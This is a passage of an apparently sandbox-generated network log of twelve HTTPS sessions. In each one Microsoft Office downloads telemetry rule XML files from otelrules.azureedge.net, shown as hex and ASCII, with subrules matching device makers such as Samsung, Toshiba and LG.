O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-185f5d8b95csp6jmhC1NYCwy6s00000009b000000000d6vd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-1777c6cb754wcxkwhC1TEB3c6w00000008qg000000009t0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-185f5d8b95ctl8xlhC1NYCn94g00000009fg00000000d1bv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-1777c6cb754xrr98hC1TEB3kag00000008g000000000nud1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-185f5d8b95cjbkr4hC1NYCeu2400000009ag000000003ras x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-1777c6cb7549x5qchC1TEBggbg00000008rg00000000p9aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-1777c6cb7549x5qchC1TEBggbg00000008t000000000fmr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231916Z-185f5d8b95cjbkr4hC1NYCeu24000000096g00000000ma2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:16 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231916Z-185f5d8b95cdtclvhC1NYC4rmc00000009f000000000nq0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:16 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231916Z-1777c6cb754dqf99hC1TEB5nps00000008pg000000005bm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:16 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231916Z-185f5d8b95crl6swhC1NYC3ueg00000009eg00000000tkq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:16 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231916Z-1777c6cb7542p5p4hC1TEBq09800000008qg00000000g2ug x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 